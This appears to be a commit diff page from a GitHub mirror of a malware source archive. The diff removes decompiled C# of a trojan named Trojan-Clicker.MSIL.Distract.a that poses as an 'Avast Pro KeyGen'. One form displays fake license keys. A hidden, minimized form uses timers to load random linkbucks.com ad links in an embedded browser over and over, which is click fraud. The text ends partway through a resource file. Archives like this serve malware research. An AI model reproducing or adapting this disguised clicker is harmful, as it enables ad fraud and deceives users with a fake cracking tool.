mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
add
This commit is contained in:
vxunderground
parent
b077d1c807
commit
28d6743405
@ -1,263 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.AboutBox1
|
||||
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
using WindowsApplication1.My;
|
||||
|
||||
namespace WindowsApplication1
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public sealed class AboutBox1 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
[AccessedThroughProperty("Button1")]
|
||||
private Button _Button1;
|
||||
[AccessedThroughProperty("TextBox1")]
|
||||
private TextBox _TextBox1;
|
||||
[AccessedThroughProperty("Label2")]
|
||||
private Label _Label2;
|
||||
[AccessedThroughProperty("Button2")]
|
||||
private Button _Button2;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public AboutBox1()
|
||||
{
|
||||
this.Load += new EventHandler(this.AboutBox1_Load);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (AboutBox1));
|
||||
this.Button1 = new Button();
|
||||
this.TextBox1 = new TextBox();
|
||||
this.Label2 = new Label();
|
||||
this.Button2 = new Button();
|
||||
this.SuspendLayout();
|
||||
this.Button1.Font = new Font("Space Bd BT", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.Button1.ForeColor = Color.DodgerBlue;
|
||||
Button button1_1 = this.Button1;
|
||||
Point point1 = new Point(11, 176);
|
||||
Point point2 = point1;
|
||||
button1_1.Location = point2;
|
||||
this.Button1.Name = "Button1";
|
||||
Button button1_2 = this.Button1;
|
||||
Size size1 = new Size(383, 26);
|
||||
Size size2 = size1;
|
||||
button1_2.Size = size2;
|
||||
this.Button1.TabIndex = 0;
|
||||
this.Button1.Text = "Generate";
|
||||
this.Button1.UseVisualStyleBackColor = true;
|
||||
this.TextBox1.BackColor = Color.Black;
|
||||
this.TextBox1.Font = new Font("Space Bd BT", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.TextBox1.ForeColor = Color.Azure;
|
||||
TextBox textBox1_1 = this.TextBox1;
|
||||
point1 = new Point(12, 208);
|
||||
Point point3 = point1;
|
||||
textBox1_1.Location = point3;
|
||||
this.TextBox1.Multiline = true;
|
||||
this.TextBox1.Name = "TextBox1";
|
||||
TextBox textBox1_2 = this.TextBox1;
|
||||
size1 = new Size(382, 26);
|
||||
Size size3 = size1;
|
||||
textBox1_2.Size = size3;
|
||||
this.TextBox1.TabIndex = 1;
|
||||
this.Label2.AutoSize = true;
|
||||
this.Label2.BackColor = Color.MidnightBlue;
|
||||
this.Label2.Font = new Font("Space Bd BT", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.Label2.ForeColor = Color.Azure;
|
||||
Label label2_1 = this.Label2;
|
||||
point1 = new Point(8, 237);
|
||||
Point point4 = point1;
|
||||
label2_1.Location = point4;
|
||||
this.Label2.Name = "Label2";
|
||||
Label label2_2 = this.Label2;
|
||||
size1 = new Size(394, 13);
|
||||
Size size4 = size1;
|
||||
label2_2.Size = size4;
|
||||
this.Label2.TabIndex = 4;
|
||||
this.Label2.Text = "Made By : Cyp3rW0lf , V4P|Raz , DeScrypter , 1mortal , Humanidea1971.";
|
||||
this.Button2.BackColor = Color.DodgerBlue;
|
||||
this.Button2.Font = new Font("Space Bd BT", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.Button2.ForeColor = Color.White;
|
||||
Button button2_1 = this.Button2;
|
||||
point1 = new Point(369, 3);
|
||||
Point point5 = point1;
|
||||
button2_1.Location = point5;
|
||||
this.Button2.Name = "Button2";
|
||||
Button button2_2 = this.Button2;
|
||||
size1 = new Size(33, 31);
|
||||
Size size5 = size1;
|
||||
button2_2.Size = size5;
|
||||
this.Button2.TabIndex = 5;
|
||||
this.Button2.Text = "X";
|
||||
this.Button2.UseVisualStyleBackColor = false;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.BackColor = Color.White;
|
||||
this.BackgroundImage = (Image) WindowsApplication1.My.Resources.Resources.windows_7_wallpaper_by_p_com_copy;
|
||||
this.BackgroundImageLayout = ImageLayout.Stretch;
|
||||
size1 = new Size(406, (int) byte.MaxValue);
|
||||
this.ClientSize = size1;
|
||||
this.Controls.Add((Control) this.Button2);
|
||||
this.Controls.Add((Control) this.Label2);
|
||||
this.Controls.Add((Control) this.TextBox1);
|
||||
this.Controls.Add((Control) this.Button1);
|
||||
this.FormBorderStyle = FormBorderStyle.None;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = nameof (AboutBox1);
|
||||
this.Padding = new Padding(9);
|
||||
this.ShowInTaskbar = false;
|
||||
this.StartPosition = FormStartPosition.CenterParent;
|
||||
this.Text = "(Avast) Pro -[KeyGen]-";
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
|
||||
internal virtual Button Button1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Button1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Button1_Click);
|
||||
if (this._Button1 != null)
|
||||
this._Button1.Click -= eventHandler;
|
||||
this._Button1 = value;
|
||||
if (this._Button1 == null)
|
||||
return;
|
||||
this._Button1.Click += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
|
||||
}
|
||||
|
||||
internal virtual Button Button2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Button2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Button2_Click);
|
||||
if (this._Button2 != null)
|
||||
this._Button2.Click -= eventHandler;
|
||||
this._Button2 = value;
|
||||
if (this._Button2 == null)
|
||||
return;
|
||||
this._Button2.Click += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
private void AboutBox1_Load(object sender, EventArgs e)
|
||||
{
|
||||
MyProject.Forms.Form1.Show();
|
||||
this.ShowInTaskbar = false;
|
||||
}
|
||||
|
||||
private void OKButton_Click(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void Button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.TextBox1.Text = Conversions.ToString(Conversion.Int(VBMath.Rnd() * 12f));
|
||||
string text = this.TextBox1.Text;
|
||||
if (Operators.CompareString(text, Conversions.ToString(0), false) == 0)
|
||||
this.TextBox1.Text = "W57510587H4600A1106-TEW5V316";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(1), false) == 0)
|
||||
this.TextBox1.Text = "W75951546H5400A1106-1JNSMD2H";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(2), false) == 0)
|
||||
this.TextBox1.Text = "S4648359R9965A0911-VY64X64X";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(3), false) == 0)
|
||||
this.TextBox1.Text = "S1717494R9947A0912-EEX4PMH2";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(4), false) == 0)
|
||||
this.TextBox1.Text = "S1375554R9947A0910-WAEU1MU4";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(5), false) == 0)
|
||||
this.TextBox1.Text = "S5031367R9972A0912-92WUAMEZ";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(6), false) == 0)
|
||||
this.TextBox1.Text = "S3117682R9962A0912-ZJVXJCR3";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(7), false) == 0)
|
||||
this.TextBox1.Text = "S8914670R9954A0910-168RA8U4";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(8), false) == 0)
|
||||
this.TextBox1.Text = "S3564026R9961A0910-EHW91PYP";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(9), false) == 0)
|
||||
this.TextBox1.Text = "S5018912R9963A0911-JHCC3BJC";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(10), false) == 0)
|
||||
this.TextBox1.Text = "S3595221R9940A0910-DSEP70F1";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(11), false) == 0)
|
||||
this.TextBox1.Text = "S6948697R9950A0910-T3W734HE";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(12), false) == 0)
|
||||
this.TextBox1.Text = "S1829591R9977A0910-M259SV3X";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(13), false) == 0)
|
||||
this.TextBox1.Text = "S4052844R9947A0910-DT52DW7K";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(14), false) == 0)
|
||||
this.TextBox1.Text = "S9448143R9963A0910-LM9LZ83E";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(15), false) == 0)
|
||||
this.TextBox1.Text = "S7081886R9964A0912-2D1EKD69";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(16), false) == 0)
|
||||
this.TextBox1.Text = "S6654053R9975A0911-BBSWY8XU";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(17), false) == 0)
|
||||
this.TextBox1.Text = "S5073670R9951A0911-KHRWF1KC";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(18), false) == 0)
|
||||
this.TextBox1.Text = "S2502250R9971A0912-7RPFUM3M";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(19), false) == 0)
|
||||
this.TextBox1.Text = "S9431872R9978A0910-CSXU36YZ";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(20), false) == 0)
|
||||
this.TextBox1.Text = "S7502701M8750S1169-D0KDBB8H";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(21), false) == 0)
|
||||
this.TextBox1.Text = "C08998884R9900N5999-SS7CTHUM";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(22), false) == 0)
|
||||
this.TextBox1.Text = "C38799999R9900F6961-ZYYBS2B4";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(23), false) == 0)
|
||||
this.TextBox1.Text = "C97897897R9900H8577-DS7BFPTD";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(24), false) == 0)
|
||||
{
|
||||
this.TextBox1.Text = "W75344574R9900W7584-6FJL9HF1";
|
||||
}
|
||||
else
|
||||
{
|
||||
if (Operators.CompareString(text, Conversions.ToString(25), false) != 0)
|
||||
return;
|
||||
this.TextBox1.Text = "S89883292R9900Y9999-MT09NNDE";
|
||||
}
|
||||
}
|
||||
|
||||
private void Button2_Click(object sender, EventArgs e) => this.Hide();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@ -1,13 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCopyright("KGB Copyright © 2009")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyProduct("Made In Earth")]
|
||||
[assembly: AssemblyCompany("KGB")]
|
||||
[assembly: AssemblyDescription("KeyGen")]
|
||||
[assembly: AssemblyTitle("(Avast) Pro -[KeyGen]-")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyFileVersion("7.3.0.0")]
|
||||
[assembly: Guid("87d88c2b-fbb1-4ade-a4d7-018400eb78e8")]
|
||||
[assembly: AssemblyVersion("7.3.0.0")]
|
||||
@ -1,344 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.Form1
|
||||
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace WindowsApplication1
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
[AccessedThroughProperty("WebBrowser1")]
|
||||
private WebBrowser _WebBrowser1;
|
||||
[AccessedThroughProperty("ProgressBar1")]
|
||||
private ProgressBar _ProgressBar1;
|
||||
[AccessedThroughProperty("Timer1")]
|
||||
private Timer _Timer1;
|
||||
[AccessedThroughProperty("TextBox1")]
|
||||
private TextBox _TextBox1;
|
||||
[AccessedThroughProperty("Button1")]
|
||||
private Button _Button1;
|
||||
[AccessedThroughProperty("ProgressBar2")]
|
||||
private ProgressBar _ProgressBar2;
|
||||
[AccessedThroughProperty("Timer2")]
|
||||
private Timer _Timer2;
|
||||
[AccessedThroughProperty("ProgressBar3")]
|
||||
private ProgressBar _ProgressBar3;
|
||||
[AccessedThroughProperty("Timer3")]
|
||||
private Timer _Timer3;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
this.WebBrowser1 = new WebBrowser();
|
||||
this.ProgressBar1 = new ProgressBar();
|
||||
this.Timer1 = new Timer(this.components);
|
||||
this.TextBox1 = new TextBox();
|
||||
this.Button1 = new Button();
|
||||
this.ProgressBar2 = new ProgressBar();
|
||||
this.Timer2 = new Timer(this.components);
|
||||
this.ProgressBar3 = new ProgressBar();
|
||||
this.Timer3 = new Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
WebBrowser webBrowser1_1 = this.WebBrowser1;
|
||||
Point point1 = new Point(12, 115);
|
||||
Point point2 = point1;
|
||||
webBrowser1_1.Location = point2;
|
||||
WebBrowser webBrowser1_2 = this.WebBrowser1;
|
||||
Size size1 = new Size(20, 20);
|
||||
Size size2 = size1;
|
||||
webBrowser1_2.MinimumSize = size2;
|
||||
this.WebBrowser1.Name = "WebBrowser1";
|
||||
WebBrowser webBrowser1_3 = this.WebBrowser1;
|
||||
size1 = new Size(401, 232);
|
||||
Size size3 = size1;
|
||||
webBrowser1_3.Size = size3;
|
||||
this.WebBrowser1.TabIndex = 0;
|
||||
ProgressBar progressBar1_1 = this.ProgressBar1;
|
||||
point1 = new Point(12, 67);
|
||||
Point point3 = point1;
|
||||
progressBar1_1.Location = point3;
|
||||
this.ProgressBar1.Name = "ProgressBar1";
|
||||
ProgressBar progressBar1_2 = this.ProgressBar1;
|
||||
size1 = new Size(401, 12);
|
||||
Size size4 = size1;
|
||||
progressBar1_2.Size = size4;
|
||||
this.ProgressBar1.TabIndex = 1;
|
||||
this.Timer1.Interval = 300;
|
||||
TextBox textBox1_1 = this.TextBox1;
|
||||
point1 = new Point(12, 41);
|
||||
Point point4 = point1;
|
||||
textBox1_1.Location = point4;
|
||||
this.TextBox1.Name = "TextBox1";
|
||||
TextBox textBox1_2 = this.TextBox1;
|
||||
size1 = new Size(401, 20);
|
||||
Size size5 = size1;
|
||||
textBox1_2.Size = size5;
|
||||
this.TextBox1.TabIndex = 2;
|
||||
Button button1_1 = this.Button1;
|
||||
point1 = new Point(12, 12);
|
||||
Point point5 = point1;
|
||||
button1_1.Location = point5;
|
||||
this.Button1.Name = "Button1";
|
||||
Button button1_2 = this.Button1;
|
||||
size1 = new Size(401, 23);
|
||||
Size size6 = size1;
|
||||
button1_2.Size = size6;
|
||||
this.Button1.TabIndex = 3;
|
||||
this.Button1.Text = "Button1";
|
||||
this.Button1.UseVisualStyleBackColor = true;
|
||||
ProgressBar progressBar2_1 = this.ProgressBar2;
|
||||
point1 = new Point(12, 96);
|
||||
Point point6 = point1;
|
||||
progressBar2_1.Location = point6;
|
||||
this.ProgressBar2.Name = "ProgressBar2";
|
||||
ProgressBar progressBar2_2 = this.ProgressBar2;
|
||||
size1 = new Size(401, 11);
|
||||
Size size7 = size1;
|
||||
progressBar2_2.Size = size7;
|
||||
this.ProgressBar2.TabIndex = 4;
|
||||
this.Timer2.Interval = 400;
|
||||
ProgressBar progressBar3_1 = this.ProgressBar3;
|
||||
point1 = new Point(12, 353);
|
||||
Point point7 = point1;
|
||||
progressBar3_1.Location = point7;
|
||||
this.ProgressBar3.Name = "ProgressBar3";
|
||||
ProgressBar progressBar3_2 = this.ProgressBar3;
|
||||
size1 = new Size(401, 10);
|
||||
Size size8 = size1;
|
||||
progressBar3_2.Size = size8;
|
||||
this.ProgressBar3.TabIndex = 5;
|
||||
this.Timer3.Interval = 7500;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
size1 = new Size(425, 359);
|
||||
this.ClientSize = size1;
|
||||
this.Controls.Add((Control) this.ProgressBar3);
|
||||
this.Controls.Add((Control) this.ProgressBar2);
|
||||
this.Controls.Add((Control) this.Button1);
|
||||
this.Controls.Add((Control) this.TextBox1);
|
||||
this.Controls.Add((Control) this.ProgressBar1);
|
||||
this.Controls.Add((Control) this.WebBrowser1);
|
||||
this.Name = nameof (Form1);
|
||||
this.Text = nameof (Form1);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
|
||||
internal virtual WebBrowser WebBrowser1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._WebBrowser1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._WebBrowser1 = value;
|
||||
}
|
||||
|
||||
internal virtual ProgressBar ProgressBar1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._ProgressBar1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ProgressBar1 = value;
|
||||
}
|
||||
|
||||
internal virtual Timer Timer1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Timer1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
|
||||
if (this._Timer1 != null)
|
||||
this._Timer1.Tick -= eventHandler;
|
||||
this._Timer1 = value;
|
||||
if (this._Timer1 == null)
|
||||
return;
|
||||
this._Timer1.Tick += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
|
||||
}
|
||||
|
||||
internal virtual Button Button1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Button1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Button1_Click);
|
||||
if (this._Button1 != null)
|
||||
this._Button1.Click -= eventHandler;
|
||||
this._Button1 = value;
|
||||
if (this._Button1 == null)
|
||||
return;
|
||||
this._Button1.Click += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual ProgressBar ProgressBar2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._ProgressBar2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ProgressBar2 = value;
|
||||
}
|
||||
|
||||
internal virtual Timer Timer2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Timer2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Timer2_Tick);
|
||||
if (this._Timer2 != null)
|
||||
this._Timer2.Tick -= eventHandler;
|
||||
this._Timer2 = value;
|
||||
if (this._Timer2 == null)
|
||||
return;
|
||||
this._Timer2.Tick += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual ProgressBar ProgressBar3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._ProgressBar3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ProgressBar3 = value;
|
||||
}
|
||||
|
||||
internal virtual Timer Timer3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Timer3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Timer3_Tick);
|
||||
if (this._Timer3 != null)
|
||||
this._Timer3.Tick -= eventHandler;
|
||||
this._Timer3 = value;
|
||||
if (this._Timer3 == null)
|
||||
return;
|
||||
this._Timer3.Tick += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.Timer3.Start();
|
||||
this.Timer1.Start();
|
||||
this.Timer1.Enabled = true;
|
||||
if (this.Timer1.Enabled)
|
||||
this.WebBrowser1.Navigate(this.TextBox1.Text);
|
||||
if (this.Timer2.Enabled)
|
||||
this.WebBrowser1.Navigate(this.TextBox1.Text);
|
||||
this.Visible = false;
|
||||
this.Hide();
|
||||
this.ShowInTaskbar = false;
|
||||
this.Hide();
|
||||
this.WindowState = FormWindowState.Minimized;
|
||||
}
|
||||
|
||||
private void Button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.TextBox1.Text = Conversions.ToString(Conversion.Int(VBMath.Rnd() * 8f));
|
||||
string text = this.TextBox1.Text;
|
||||
if (Operators.CompareString(text, Conversions.ToString(0), false) == 0)
|
||||
this.TextBox1.Text = "http://df3c57ee.linkbucks.com";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(1), false) == 0)
|
||||
this.TextBox1.Text = "http://521b42b5.linkbucks.comm";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(2), false) == 0)
|
||||
this.TextBox1.Text = "http://789d8b6b.linkbucks.com";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(3), false) == 0)
|
||||
this.TextBox1.Text = "http://66c0c10e.linkbucks.com";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(4), false) == 0)
|
||||
this.TextBox1.Text = "http://216ab881.linkbucks.com";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(5), false) == 0)
|
||||
this.TextBox1.Text = "http://750e723c.linkbucks.com";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(6), false) == 0)
|
||||
this.TextBox1.Text = "http://4cd5abd0.linkbucks.com";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(7), false) == 0)
|
||||
this.TextBox1.Text = "http://ad7a09b5.linkbucks.com";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(8), false) == 0)
|
||||
this.TextBox1.Text = "http://4555b72f.linkbucks.com";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(9), false) == 0)
|
||||
this.TextBox1.Text = "http://6415f4c8.linkbucks.com";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(10), false) == 0)
|
||||
this.TextBox1.Text = "http://ec156a5b.linkbucks.com";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(11), false) == 0)
|
||||
this.TextBox1.Text = "http://85374e1f.linkbucks.com";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(12), false) == 0)
|
||||
this.TextBox1.Text = "http://bbedcc2c.linkbucks.com";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(13), false) == 0)
|
||||
this.TextBox1.Text = "http://3da53239.linkbucks.com";
|
||||
else if (Operators.CompareString(text, Conversions.ToString(14), false) == 0)
|
||||
{
|
||||
this.TextBox1.Text = "http://65fa73c1.linkbucks.com";
|
||||
}
|
||||
else
|
||||
{
|
||||
if (Operators.CompareString(text, Conversions.ToString(15), false) != 0)
|
||||
return;
|
||||
this.TextBox1.Text = "http://6a697c9e.linkbucks.com";
|
||||
}
|
||||
}
|
||||
|
||||
private void Timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
this.ProgressBar1.Value = this.ProgressBar1.Value != 100 ? checked ((int) Math.Round(unchecked (Conversion.Val((object) this.ProgressBar1.Value) + Conversion.Val((object) 1)))) : 100;
|
||||
if (this.ProgressBar1.Value != this.ProgressBar1.Maximum)
|
||||
return;
|
||||
this.Button1.PerformClick();
|
||||
this.Timer1.Stop();
|
||||
this.ProgressBar1.Value = 0;
|
||||
this.Timer2.Start();
|
||||
this.WebBrowser1.Navigate(this.TextBox1.Text);
|
||||
}
|
||||
|
||||
private void Timer2_Tick(object sender, EventArgs e)
|
||||
{
|
||||
this.ProgressBar2.Value = this.ProgressBar2.Value != 100 ? checked ((int) Math.Round(unchecked (Conversion.Val((object) this.ProgressBar2.Value) + Conversion.Val((object) 1)))) : 100;
|
||||
if (this.ProgressBar2.Value != this.ProgressBar2.Maximum)
|
||||
return;
|
||||
this.Button1.PerformClick();
|
||||
this.Timer2.Stop();
|
||||
this.ProgressBar2.Value = 0;
|
||||
this.Timer1.Start();
|
||||
this.WebBrowser1.Navigate(this.TextBox1.Text);
|
||||
}
|
||||
|
||||
private void Timer3_Tick(object sender, EventArgs e)
|
||||
{
|
||||
this.ProgressBar3.Value = this.ProgressBar3.Value != 100 ? checked ((int) Math.Round(unchecked (Conversion.Val((object) this.ProgressBar3.Value) + Conversion.Val((object) 1)))) : 100;
|
||||
if (this.ProgressBar3.Value != this.ProgressBar3.Maximum)
|
||||
return;
|
||||
Application.Exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,120 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
